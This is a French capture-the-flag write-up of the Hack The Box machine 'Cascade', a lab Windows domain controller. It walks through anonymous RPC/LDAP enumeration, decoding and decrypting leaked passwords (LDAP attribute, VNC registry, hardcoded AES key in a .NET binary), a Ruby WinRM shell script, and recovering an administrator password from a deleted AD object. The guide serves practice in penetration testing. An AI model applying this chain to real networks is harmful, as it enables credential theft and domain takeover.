Hack The Box - Cascade

Cascade est une machine Windows considérée comme facile/moyenne. Un accès RPC anonyme permet de récupérer des infos sur les utilisateurs du domaine et une recherche anonyme via LDAP permet de récupérer un mot de passe via un des attribut d’un compte. Par la suite, l’énumération des partages SMB et des fichiers accessibles révèle un fichier de configuration VNC dans lequel il est possible de récupérer un second mot de passe. Cet utilisateur ayant plus de droits, il est possible de découvrir un binaire. Ce dernier utilise un compte de service d’intérêt. Une retro-ingéniérie rapide permet de récupérer le mot de passe. L’escalade de privilège est réalisée au travers d’un compte particulier censé être supprimé.

Disclaimer : Il s’agit d’une présentation plutôt rapide qui omet volontairement les différents axes de recherche. Seul les résultats effectifs ainsi qu’une rapide démarche sont présentés.

Découverte / Énumération

Un rapide scan de ports permet d’obtenir les services présents sur la machine.

$ sudo nmap -sS -p 0-10000 -T4 -sV -sC default -O -v -oN scan_nmap 10.10.10.182 

Nmap scan report for 10.10.10.182
Host is up (0.13s latency).
Not shown: 9991 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-04-11 12:42:51Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%), Microsoft Windows 8.1 Update 1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 or Windows 8.1 (90%), Microsoft Windows 7 (90%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.009 days (since Sat Apr 11 14:31:28 2020)
TCP Sequence Prediction: Difficulty=251 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1m27s, deviation: 0s, median: 1m27s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-04-11 14:43:15
|_  start_date: 2020-04-11 14:33:30

NSE: Script Post-scanning.
Initiating NSE at 14:43
Completed NSE at 14:43, 0.00s elapsed
Initiating NSE at 14:43
Completed NSE at 14:43, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 541.01 seconds
           Raw packets sent: 30274 (1.336MB) | Rcvd: 242 (11.308KB)

Les ports classiques d’une machine Windows sont ouverts. Pas de ports exotiques.

Énumération anonyme & premier accès

On tente premièrement de se connecter en anonyme au service RPC et d’énumérer les utilisateurs du domaine.

$ rpcclient -U "" 10.10.10.182
Enter WORKGROUP\'s password: 
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]

Cela étant possible, on peut automatiser l’extraction d’informations à l’aide de enum4linux. La sortie ci-dessous est tronquée afin de ne garder qu’une partie des informations intéressantes. L’énumération étant une des phases clé lors de ce type d’exercie, on souhaite connaître les utilisateurs, les groupes et les relations d’appartenances entre ces derniers.

$ enum4linux 10.10.10.182

...

[+] Getting builtin group memberships:
Group 'Users' (RID: 545) has member: NT AUTHORITY\INTERACTIVE
Group 'Users' (RID: 545) has member: NT AUTHORITY\Authenticated Users
Group 'Users' (RID: 545) has member: CASCADE\Domain Users
Group 'Guests' (RID: 546) has member: CASCADE\CascGuest
Group 'Guests' (RID: 546) has member: CASCADE\Domain Guests
Group 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: NT AUTHORITY\Authenticated Users
Group 'Windows Authorization Access Group' (RID: 560) has member: NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS

[+] Getting local groups:
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44e]
group:[IT] rid:[0x459]
group:[Production] rid:[0x45a]
group:[HR] rid:[0x45b]
group:[AD Recycle Bin] rid:[0x45f]
group:[Backup] rid:[0x460]
group:[Temps] rid:[0x463]
group:[WinRMRemoteWMIUsers__] rid:[0x465]
group:[Remote Management Users] rid:[0x466]
group:[Factory] rid:[0x46c]
group:[Finance] rid:[0x46d]
group:[Audit Share] rid:[0x471]
group:[Data Share] rid:[0x472]

[+] Getting local group memberships:
Group 'IT' (RID: 1113) has member: CASCADE\arksvc
Group 'IT' (RID: 1113) has member: CASCADE\s.smith
Group 'IT' (RID: 1113) has member: CASCADE\r.thompson
Group 'HR' (RID: 1115) has member: CASCADE\s.hickson
Group 'Data Share' (RID: 1138) has member: CASCADE\Domain Users
Group 'Audit Share' (RID: 1137) has member: CASCADE\s.smith
Group 'Remote Management Users' (RID: 1126) has member: CASCADE\arksvc
Group 'Remote Management Users' (RID: 1126) has member: CASCADE\s.smith
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\krbtgt
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Controllers
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Schema Admins
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Enterprise Admins
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Cert Publishers
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Admins
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Group Policy Creator Owners
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Read-only Domain Controllers
Group 'AD Recycle Bin' (RID: 1119) has member: CASCADE\arksvc

[+] Getting domain groups:
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[DnsUpdateProxy] rid:[0x44f]

[+] Getting domain group memberships:
Group 'Domain Users' (RID: 513) has member: CASCADE\administrator
Group 'Domain Users' (RID: 513) has member: CASCADE\krbtgt
Group 'Domain Users' (RID: 513) has member: CASCADE\arksvc
Group 'Domain Users' (RID: 513) has member: CASCADE\s.smith
Group 'Domain Users' (RID: 513) has member: CASCADE\r.thompson
Group 'Domain Users' (RID: 513) has member: CASCADE\util
Group 'Domain Users' (RID: 513) has member: CASCADE\j.wakefield
Group 'Domain Users' (RID: 513) has member: CASCADE\s.hickson
Group 'Domain Users' (RID: 513) has member: CASCADE\j.goodhand
Group 'Domain Users' (RID: 513) has member: CASCADE\a.turnbull
Group 'Domain Users' (RID: 513) has member: CASCADE\e.crowe
Group 'Domain Users' (RID: 513) has member: CASCADE\b.hanson
Group 'Domain Users' (RID: 513) has member: CASCADE\d.burman
Group 'Domain Users' (RID: 513) has member: CASCADE\BackupSvc
Group 'Domain Users' (RID: 513) has member: CASCADE\j.allen
Group 'Domain Users' (RID: 513) has member: CASCADE\i.croft
Group 'Group Policy Creator Owners' (RID: 520) has member: CASCADE\administrator
Group 'Domain Guests' (RID: 514) has member: CASCADE\CascGuest

...

Il est également possible de tenter une énumération anonyme via LDAP. De cette façon, on peut récupérer plus d’informations, notamment en ce qui concerne certains attributs des objets Active Directory.

$ ldapsearch -x -h 10.10.10.182 -D '' -w '' -b "DC=CASCADE,DC=LOCAL"
# extended LDIF
#
# LDAPv3
# base <DC=CASCADE,DC=LOCAL> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# cascade.local
dn: DC=cascade,DC=local
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=cascade,DC=local
instanceType: 5
whenCreated: 20200109153132.0Z
whenChanged: 20200411123320.0Z
subRefs: DC=ForestDnsZones,DC=cascade,DC=local
subRefs: DC=DomainDnsZones,DC=cascade,DC=local
subRefs: CN=Configuration,DC=cascade,DC=local
uSNCreated: 4099
uSNChanged: 319567
name: cascade
objectGUID:: BEPTb7rgSEuSvojkxZJmOA==
creationTime: 132310820004120279
forceLogoff: -9223372036854775808
lockoutDuration: -18000000000
lockOutObservationWindow: -18000000000
lockoutThreshold: 0
maxPwdAge: -9223372036854775808
minPwdAge: 0
minPwdLength: 5
modifiedCountAtLastProm: 0
nextRid: 1001
pwdProperties: 0
pwdHistoryLength: 0
objectSid:: AQQAAAAAAAUVAAAAMvuhxgsd8Uf1yHJF
serverState: 1
uASCompat: 1
modifiedCount: 1
auditingPolicy:: AAE=
nTMixedDomain: 0
...

L’élément intéressant ici, à ne pas louper, se trouver au niveau de l’utilisateur r.thompson. En effet, ce dernier dispose d’un attribut étrange, mais surtout unique, cascadeLegacyPwd.

# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200323112031.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 295010
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 132247339091081169
lastLogoff: 0
lastLogon: 132247339125713230
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=

La chaine de caractères associée semble être encodée en base64. Une fois décodée, on récupère ce qui semble être un premier mot de passe !

$ echo "clk0bjVldmE=" | base64 -d
rY4n5eva%


Partages SMB & première escalade

Disposant maintenant d’un premier accès au domaine, on peut se tourner vers les partages SMB. Commençons par lister ces derniers.

$ smbclient -U "r.thompson" -L //10.10.10.182                 
Enter WORKGROUP\r.thompson's password: 

  Sharename       Type      Comment
  ---------       ----      -------
  ADMIN$          Disk      Remote Admin
  Audit$          Disk      
  C$              Disk      Default share
  Data            Disk      
  IPC$            IPC       Remote IPC
  NETLOGON        Disk      Logon server share 
  print$          Disk      Printer Drivers
  SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

Outre les partages classiques, on remarque la présence de Data et Audit$. Il s’avère que le partage Audit$ n’est pour le moment pas accessible.

$ smbclient -U "r.thompson" //10.10.10.182/Audit$
Enter WORKGROUP\r.thompson's password: 
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

Dans le cas du partage Data, il est possible de s’y connecter et de le parcourir.

$ smbclient -U "r.thompson" //10.10.10.182/Data
Enter WORKGROUP\r.thompson's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jan 27 04:27:34 2020
  ..                                  D        0  Mon Jan 27 04:27:34 2020
  Contractors                         D        0  Mon Jan 13 02:45:11 2020
  Finance                             D        0  Mon Jan 13 02:45:06 2020
  IT                                  D        0  Tue Jan 28 19:04:51 2020
  Production                          D        0  Mon Jan 13 02:45:18 2020
  Temps                               D        0  Mon Jan 13 02:45:15 2020

    13106687 blocks of size 4096. 7794590 blocks available

Peu d’éléments sont accessibles. Au total, 4 fichiers peuvent êtres récupérés.

smb: \IT\Logs\Ark AD Recycle Bin\> get ArkAdRecycleBin.log 
getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as ArkAdRecycleBin.log (3.1 KiloBytes/sec) (average 7.9 KiloBytes/sec)

smb: \IT\Logs\DCs\> get dcdiag.log 
getting file \IT\Logs\DCs\dcdiag.log of size 5967 as dcdiag.log (14.1 KiloBytes/sec) (average 10.2 KiloBytes/sec)

smb: \IT\Temp\s.smith\> get "VNC Install.reg"
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as VNC Install.reg (6.3 KiloBytes/sec) (average 6.3 KiloBytes/sec)

smb: \IT\Email Archives\> get Meeting_Notes_June_2018.html 
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as Meeting_Notes_June_2018.html (6.0 KiloBytes/sec) (average 7.4 KiloBytes/sec)

Le fichier Meeting_Notes_June_2018.html permet de récupérer une information cruciale, la présence d’un compte temporaire, disposant du même mot de passe que l’administrateur et ayant été supprimé il y a quelques temps.

From: Steve Smith
To: IT (Internal)
Sent: 14 June 2018 14:07
Subject: Meeting Notes

For anyone that missed yesterday’s meeting (I’m looking at you Ben). Main points are below:

-- New production network will be going live on Wednesday so keep an eye out for any issues.
-- We will be using a temporary account to perform all tasks related to the network migration and this account will be deleted at the end of 2018 once the migration is complete. This will allow us to identify actions related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password).
-- The winner of the “Best GPO” competition will be announced on Friday so get your submissions in soon.

Steve

Le fichier ArkAdRecycleBin.log permet quand à lui de voir que le compte ArkSvc est utilisé afin de gérer le Recycle Bin. Les logs indiquent également que les comptes Test et TempAdmin ont bien été supprimés, ou du moins déplacés.

$ cat FILES/ArkAdRecycleBin.log 
1/10/2018 15:43 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
1/10/2018 15:43 [MAIN_THREAD] Validating settings...
1/10/2018 15:43 [MAIN_THREAD] Error: Access is denied
1/10/2018 15:43 [MAIN_THREAD] Exiting with error code 5
2/10/2018 15:56 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
2/10/2018 15:56 [MAIN_THREAD] Validating settings...
2/10/2018 15:56 [MAIN_THREAD] Running as user CASCADE\ArkSvc
2/10/2018 15:56 [MAIN_THREAD] Moving object to AD recycle bin CN=Test,OU=Users,OU=UK,DC=cascade,DC=local
2/10/2018 15:56 [MAIN_THREAD] Successfully moved object. New location CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
2/10/2018 15:56 [MAIN_THREAD] Exiting with error code 0 
8/12/2018 12:22 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
8/12/2018 12:22 [MAIN_THREAD] Validating settings...
8/12/2018 12:22 [MAIN_THREAD] Running as user CASCADE\ArkSvc
8/12/2018 12:22 [MAIN_THREAD] Moving object to AD recycle bin CN=TempAdmin,OU=Users,OU=UK,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Successfully moved object. New location CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Exiting with error code 0

Le fichier VNC Install.reg est également très intéressant puisqu’il s’agit d’un fichier de configuration VNC. Il permet notamment de récupérer un mot de passe, chiffré (“Password”=hex:6b,cf,2a,4b,6e,5a,ca,0f).

$ cat VNC\ Install.reg 
��Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
"ExtraPorts"=""
"QueryTimeout"=dword:0000001e
"QueryAcceptOnTimeout"=dword:00000000
"LocalInputPriorityTimeout"=dword:00000003
"LocalInputPriority"=dword:00000000
"BlockRemoteInput"=dword:00000000
"BlockLocalInput"=dword:00000000
"IpAccessControl"=""
"RfbPort"=dword:0000170c
"HttpPort"=dword:000016a8
"DisconnectAction"=dword:00000000
"AcceptRfbConnections"=dword:00000001
"UseVncAuthentication"=dword:00000001
"UseControlAuthentication"=dword:00000000
"RepeatControlAuthentication"=dword:00000000
"LoopbackOnly"=dword:00000000
"AcceptHttpConnections"=dword:00000001
"LogLevel"=dword:00000000
"EnableFileTransfers"=dword:00000001
"RemoveWallpaper"=dword:00000001
"UseD3D"=dword:00000001
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"DisconnectClients"=dword:00000001
"PollingInterval"=dword:000003e8
"AllowLoopback"=dword:00000000
"VideoRecognitionInterval"=dword:00000bb8
"GrabTransparentWindows"=dword:00000001
"SaveLogToAllUsersPath"=dword:00000000
"RunControlInterface"=dword:00000001
"IdleTimeout"=dword:00000000
"VideoClasses"=""
"VideoRects"=""

Cependant, les mots de passe utilisés par VNC sont connus pour ne pas être robustes. Il est en effet possible de déchiffrer ces derniers à l’aide de différents outils. Dans le cas de cette machine, j’ai utilisé un petit utilitaire Windows vncpwd.exe.

C:\vncpwd>vncpwd.exe 6bcf2a4b6e5aca0f

*VNC password decoder 0.2.1
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    aluigi.org

- your input password seems in hex format (or longer than 8 chars)

  Password:   sT333ve2

  Press RETURN to exit

Un second mot de passe est récupéré ! Étant donné ce dernier et les noms des utilisateurs, il est probable qu’il s’agise de s.smith. Là, ça devient intéressant ! Rappelez vous, lors de l’énumération, nous avons vu que les utilisateurs s.smith et arksvc font partie du groupe Remote Management Users. Cela veut entre autre dire qu’ils ont les droits pour se connecter à distance via WinRM !

On récupère donc notre petit script ruby, et en avant.

require 'winrm'

conn = WinRM::Connection.new( 
  endpoint: 'http://10.10.10.182:5985/wsman',
  user: 'CASCADE.LOCAL\s.smith',
  password: 'sT333ve2',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end

Un joli shell utilisateur :)

$ ruby winrm_shell_s.smith.rb 
PS > whoami
cascade\s.smith
PS > pwd

Path                      
----                      
C:\Users\s.smith\Documents


PS > type ../Desktop/user.txt
a0**REDACTED**


Partage “Audit$”, rétro-ingénierie & nouveau compte

Disposant d’un nouveau compte ayant des droits plus avantageux, le partage SMB Audit$ devient accessible.

$ smbclient -U "s.smith" //10.10.10.182/Audit$
Enter WORKGROUP\s.smith's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 29 19:01:26 2020
  ..                                  D        0  Wed Jan 29 19:01:26 2020
  CascAudit.exe                       A    13312  Tue Jan 28 22:46:51 2020
  CascCrypto.dll                      A    12288  Wed Jan 29 19:00:20 2020
  DB                                  D        0  Tue Jan 28 22:40:59 2020
  RunAudit.bat                        A       45  Wed Jan 29 00:29:47 2020
  System.Data.SQLite.dll              A   363520  Sun Oct 27 07:38:36 2019
  System.Data.SQLite.EF6.dll          A   186880  Sun Oct 27 07:38:38 2019
  x64                                 D        0  Sun Jan 26 23:25:27 2020
  x86                                 D        0  Sun Jan 26 23:25:27 2020

    13106687 blocks of size 4096. 7794393 blocks available

Plusieurs éléments sont intéressants ici. Afin de faciliter l’analyse, on télécharge l’ensemble des fichiers du partage.

smb: \> mask ""
smb: \> recurse ON
smb: \> mget *
Get file CascAudit.exe? y
getting file \CascAudit.exe of size 13312 as CascAudit.exe (25.3 KiloBytes/sec) (average 25.3 KiloBytes/sec)
Get file CascCrypto.dll? y
getting file \CascCrypto.dll of size 12288 as CascCrypto.dll (28.4 KiloBytes/sec) (average 26.7 KiloBytes/sec)
Get directory DB? y
Get file Audit.db? y
getting file \DB\Audit.db of size 24576 as Audit.db (56.7 KiloBytes/sec) (average 36.1 KiloBytes/sec)
Get file RunAudit.bat? y
getting file \RunAudit.bat of size 45 as RunAudit.bat (0.1 KiloBytes/sec) (average 27.8 KiloBytes/sec)
Get file System.Data.SQLite.dll? y
getting file \System.Data.SQLite.dll of size 363520 as System.Data.SQLite.dll (318.1 KiloBytes/sec) (average 140.2 KiloBytes/sec)
Get file System.Data.SQLite.EF6.dll? y
getting file \System.Data.SQLite.EF6.dll of size 186880 as System.Data.SQLite.EF6.dll (105.7 KiloBytes/sec) (average 127.3 KiloBytes/sec)
Get directory x64? y
Get file SQLite.Interop.dll? y
getting file \x64\SQLite.Interop.dll of size 1639936 as SQLite.Interop.dll (457.7 KiloBytes/sec) (average 269.9 KiloBytes/sec)
Get directory x86? y
Get file SQLite.Interop.dll? y
getting file \x86\SQLite.Interop.dll of size 1246720 as SQLite.Interop.dll (422.0 KiloBytes/sec) (average 309.8 KiloBytes/sec)

Premier élément, une base de donnée SQLite.

$ file Audit.db 
Audit.db: SQLite 3.x database, last written using SQLite version 3027002

Grâce à SQLite Browser, on peut ouvrir le fichier. La table DeletedUserAudit contient les entrées liées aux utilisateurs supprimés remarqués auparavant. La table LDAP contient les informations de connexion du compte utilisé par le service, à savoir ArcSvc !

id | uname  | pwd                      | domain
1  | ArkSvc | BQO5l5Kj9MdErXx6Q6AGOw== | cascade.local

Le mot de passe est chiffré, car la base64 ne donne rien. À partir de là, le fonctionnement rappelle une box compromise il n’y a pas si longtemps… Nest =). Le service utilise probablement les informations de la base de données afin de se connecter au domaine. Ainsi, il doit comporter une fonctionnalité lui permettant de déchiffrer le mot de passe.

Il s’avère que le binaire est écrit en C# (.NET). Parfait ! Cela va grandement faciliter les choses… “Reverse” time !

$ file CascAudit.exe 
CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

J’ai utilisé dnSpy afin de décompiler l’application. Globalement, c’est moins compliqué que ça en a l’air aux premiers abords. Au niveau du main, on observe le petit morceau de code qui s’occupe du déchiffrement et de l’authentification.

sqliteDataReader.Read();
str = Conversions.ToString(sqliteDataReader["Uname"]);
str2 = Conversions.ToString(sqliteDataReader["Domain"]);
string encryptedString = Conversions.ToString(sqliteDataReader["Pwd"]);
try
{
  password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
}
catch (Exception ex)
{
  Console.WriteLine("Error decrypting password: " + ex.Message);
  return;
}

Celui ci fait appel à une fonction de déchiffrément, ainsi qu’à une clé hardcodée.. Smells good huh ? Il est possible de récupérer la fonction de déchiffrement également.

public static string DecryptString(string EncryptedString, string Key)
    {
      byte[] array = Convert.FromBase64String(EncryptedString);
      Aes aes = Aes.Create();
      aes.KeySize = 128;
      aes.BlockSize = 128;
      aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
      aes.Mode = CipherMode.CBC;
      aes.Key = Encoding.UTF8.GetBytes(Key);
      string @string;
      using (MemoryStream memoryStream = new MemoryStream(array))
      {
        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Read))
        {
          byte[] array2 = new byte[checked(array.Length - 1 + 1)];
          cryptoStream.Read(array2, 0, array2.Length);
          @string = Encoding.UTF8.GetString(array2);
        }
      }
      return @string;
    }

On est donc en mesure de déchiffrer notre mot de passe, en manipulant légèrement le code ! Étant un peu noob, je ne me suis pas risqué à patcher le binaire puis le recompiler (Et surtout, j’avais flemme et je connaissais une autre méthode). De la même façon que pour la machine Nest, le site https://dotnetfiddle.net va être d’un grand secours ! On intègre simplement la fonction de déchiffrement dans un petit programme et on affiche la valeur du mot de passe déchiffré.

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
          
public class Program
{
  public static void Main()
  {
    Console.WriteLine("Hello World");
    Console.WriteLine(DecryptString("BQO5l5Kj9MdErXx6Q6AGOw==", "c4scadek3y654321"));
  }
  public static string DecryptString(string EncryptedString, string Key)
    {
      byte[] array = Convert.FromBase64String(EncryptedString);
      Aes aes = Aes.Create();
      aes.KeySize = 128;
      aes.BlockSize = 128;
      aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
      aes.Mode = CipherMode.CBC;
      aes.Key = Encoding.UTF8.GetBytes(Key);
      string @string;
      using (MemoryStream memoryStream = new MemoryStream(array))
      {
        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Read))
        {
          byte[] array2 = new byte[checked(array.Length - 1 + 1)];
          cryptoStream.Read(array2, 0, array2.Length);
          @string = Encoding.UTF8.GetString(array2);
        }
      }
      return @string;
    }
}

Le résultat ne se fait pas attendre !

Hello World
w3lc0meFr31nd


Escalade de privilège via ArkSvc

L’utilisateur ArkSvc étant également membre du groupe Remote Management Users on peut l’utiliser pour se connecter via WinRM.

$ ruby winrm_shell_arksvc.rb 
PS > whoami 
cascade\arksvc
PS > pwd

Path                     
----                     
C:\Users\arksvc\Documents

À partir de là, l’escalade de privilège est plutôt simple. En prenant en compte l’ensemble des éléments déjà vu et les informations récupérées durant la phase d’énumération, on sait que l’utilisateur ArkSvc contrôle le service qui s’occupe de l’audit et de la suppression des comptes du domaine (Recycle Bin).

Quelques recherches sur Internet nous apprennent que lorsque de service de Recycle Bin est activé, il est possible entre autres de restaurer des objets supprimés. Mais il est également possible de récupérer les informations associées aux objets supprimés. La ressource suivant (https://www.lepide.com/how-to/restore-deleted-objects-in-active-directory.html) donne tous les éléments nécessaires.

Ainsi, la commande suivante permet d’afficher les objets supprimés.

PS > Get-ADObject -Filter {SamAccountName -eq 'TempAdmin'} -IncludeDeletedObjects -Properties *


accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage                        : 0
countryCode                     : 0
Created                         : 1/27/2020 3:23:08 AM
createTimeStamp                 : 1/27/2020 3:23:08 AM
Deleted                         : True
Description                     : 
DisplayName                     : TempAdmin
DistinguishedName               : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName                       : TempAdmin
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff                      : 0
lastLogon                       : 0
logonCount                      : 0
Modified                        : 1/27/2020 3:24:34 AM
modifyTimeStamp                 : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN               : TempAdmin
Name                            : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  : 
ObjectClass                     : user
ObjectGUID                      : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid                       : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID                  : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 132245689883479503
sAMAccountName                  : TempAdmin
sDRightsEffective               : 0
userAccountControl              : 66048
userPrincipalName               : TempAdmin@cascade.local
uSNChanged                      : 237705
uSNCreated                      : 237695
whenChanged                     : 1/27/2020 3:24:34 AM
whenCreated                     : 1/27/2020 3:23:08 AM

L’avez vous vu ? ;) De la même façon que pour le tout premier utilisateur, un attribut cascadeLegacyPwd est défini pour l’utilisateur TempAdmin. Le mot de passe est également récupéré.

$ echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d 
baCT3r1aN00dles%                                        

Et là, c’est compromis. Ha ? Rappelez vous, l’énumération avait permis de récupérer une note HTML destinée au groupe IT interne et spécifiant que le compte temporaire disposait du même mot de passe que le compte administrateur… Bien, on modifie alors le script ruby afin d’y intégrer le mot de passe, et on se connecte avec le compte administrator.

$ ruby winrm_shell_admin.rb 
PS > hostname
CASC-DC1
PS > whoami
cascade\administrator

w00ted !

Hack The Box - Sauna Hack The Box - Remote